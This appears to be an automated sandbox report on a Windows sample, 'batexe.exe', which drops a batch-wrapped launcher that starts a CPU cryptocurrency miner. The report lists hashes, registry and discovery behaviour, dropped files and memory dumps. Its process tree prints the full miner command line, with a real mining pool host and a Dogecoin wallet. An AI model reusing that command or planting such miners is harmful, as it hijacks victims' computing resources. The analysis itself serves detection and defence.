73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18/02/2024, 17:35

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2356	b2e.exe
1704	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1704	cpuminer-sse2.exe
1704	cpuminer-sse2.exe
1704	cpuminer-sse2.exe
1704	cpuminer-sse2.exe
1704	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3016-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3016 wrote to memory of 2356	3016	batexe.exe	85
PID 3016 wrote to memory of 2356	3016	batexe.exe	85
PID 3016 wrote to memory of 2356	3016	batexe.exe	85
PID 2356 wrote to memory of 456	2356	b2e.exe	86
PID 2356 wrote to memory of 456	2356	b2e.exe	86
PID 2356 wrote to memory of 456	2356	b2e.exe	86
PID 456 wrote to memory of 1704	456	cmd.exe	89
PID 456 wrote to memory of 1704	456	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3016
- C:\Users\Admin\AppData\Local\Temp\6BF8.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6BF8.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6BF8.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2356
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6F06.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:456
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6BF8.tmp\b2e.exe

Filesize
24.9MB

MD5
e8f1bdf9081a4c5b3028d3653060119f

SHA1
bfd39e6d80a29f609f84cafcf8d9e2777969a32c

SHA256
f4bd8c13a92847028a4302cbce65a3d39a91c881494720233ab609105ec1f97f

SHA512
ce3fc1cbb3c0f2c3fe83a86ee0384ca6833de5578863fff8ce8dc71fb3870381cd474c39b257b2664585f28a8254edd663d704d3e9c4b84607902210310c07b5

Download Submit
C:\Users\Admin\AppData\Local\Temp\6BF8.tmp\b2e.exe

Filesize
11.8MB

MD5
04ab4ea4977c3dea14415b48ef48c19b

SHA1
3e2aa2c94f4bcacf182910d29bf4e471bf08b964

SHA256
337f69e05520fdaef1a2554f571f77ff5e7447226863eff6df2f7a459af271b3

SHA512
adca404b7035e0ce43b59f877c753408679214d0c45cd2739ea1bc6efe9ad38255729ccf8c381ee2eaf2f31b250f04ace1f61fd6415e829bc3758d6d6af922a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\6BF8.tmp\b2e.exe

Filesize
10.8MB

MD5
9ceda208e32adfaf0b29251d9ff91c5e

SHA1
497a552c44b19f349e7a36d9d87a9e81701a29f8

SHA256
0aff409395ec5a12bb73a97d1e580d8ac8daa1eda8bd9bc32d38dbe9a407dc5a

SHA512
e8a30d151b0c554b6f13269185dfe9cdaacb260b0600e11c25ec10f5d991e88fbb748f4d2cc1020239c6a326d4f81de44b6b399237f3f17e27469750c523a8b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\6F06.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.3MB

MD5
23d79e5c9aab672f8f60c5eebe49095a

SHA1
a104fcef7239607ddf1efe7b2c23e746dfbd0dcf

SHA256
698e05c0e81105d7f7175ef33574ef428340bd4729564a58f6190349283e636a

SHA512
03fbe3b84107563ea0e7b6b345b4cb4a3bd09153068643c1a96e53bf7504b004458859dfea0c66da065defc293436f3449e568b922f1796f33850f145f8a07eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.4MB

MD5
2ef40d5c3b964c66392be6a3db51bf84

SHA1
391a644aa11504129db4b42007b054f2c3bf5414

SHA256
0ef835e2576ba8fbfcd733a66284579607cc8dafdc2b26fe3c0091dc66d8e707

SHA512
0b568c8b5ef88af49c00801cd5eaf3e7262367d2a3356f1a685d36e3c1dff63babb5dd049d5a1e7fbe214cab35e6f271d0a105e073a1fb2c281bb5c0279b7107

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
ea811f00e84df93ff2c7914ab6804cc5

SHA1
eabdb8b292a32609a114e69f090b1fae74a5997c

SHA256
4dfcb3832db322d1f8acbfb79250552a795587454d0c28bcf2834e0a84fa14f6

SHA512
fdfeb44966da53304a86b5fecd0cd1c747252758428c793a8521926e93d8f386b89ff5eaaea19cc8e0109755e929ac5bc55c62bf3abb31718b10d021b9b30c77

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
6209d231684a8f2e5e435f52c37246d1

SHA1
b86fbebd13d623ebc5765543b2ef075f41e57c7c

SHA256
d63535da6cdab2c1a2fe1620c6a418ba16e60f52545f5719bb88e7313f63de9c

SHA512
9d4d2d39827ebd76373a3cb02ccdc6b70737b4842aa9e9949f3c411502feda78d8c60e0612261f2b0491c928f3807c5d43030fae8d7192f265cd42fa356c9f09

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1704-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1704-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1704-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1704-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1704-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1704-45-0x0000000067D60000-0x0000000067DF8000-memory.dmp

Filesize
608KB

Download
memory/1704-47-0x0000000001090000-0x0000000002945000-memory.dmp

Filesize
24.7MB

Download
memory/1704-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1704-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1704-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1704-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1704-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1704-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1704-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1704-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2356-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2356-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3016-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download